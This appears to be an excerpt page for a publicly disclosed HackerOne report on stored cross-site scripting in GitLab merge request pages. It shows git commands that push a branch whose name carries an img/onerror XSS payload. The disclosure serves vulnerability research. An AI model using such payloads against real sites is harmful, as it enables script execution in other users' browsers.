Stored XSS in merge request pages
该报告还没有中文解读。
原文摘录
摘自原文(3046 字符中的一小部分)
[Vulnerable code](https://gitlab.com/gitlab-org/gitlab/blob/9d81e97d9d111f874799605ce50ae480ae15b0c5/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue#L47)
原文中的代码
touch 1.txt
git add 1.txt
git commit -m "initial commit"
git push origin master
git checkout -b "<img/src='x'/onerror=alert(document.domain)>"
touch 2.txt
git add 2.txt
git commit -m "add 2.txt"
git push origin "<img/src='x'/onerror=alert(document.domain)>" …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 GitLab 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @mike12 · 版权归作者与 GitLab 所有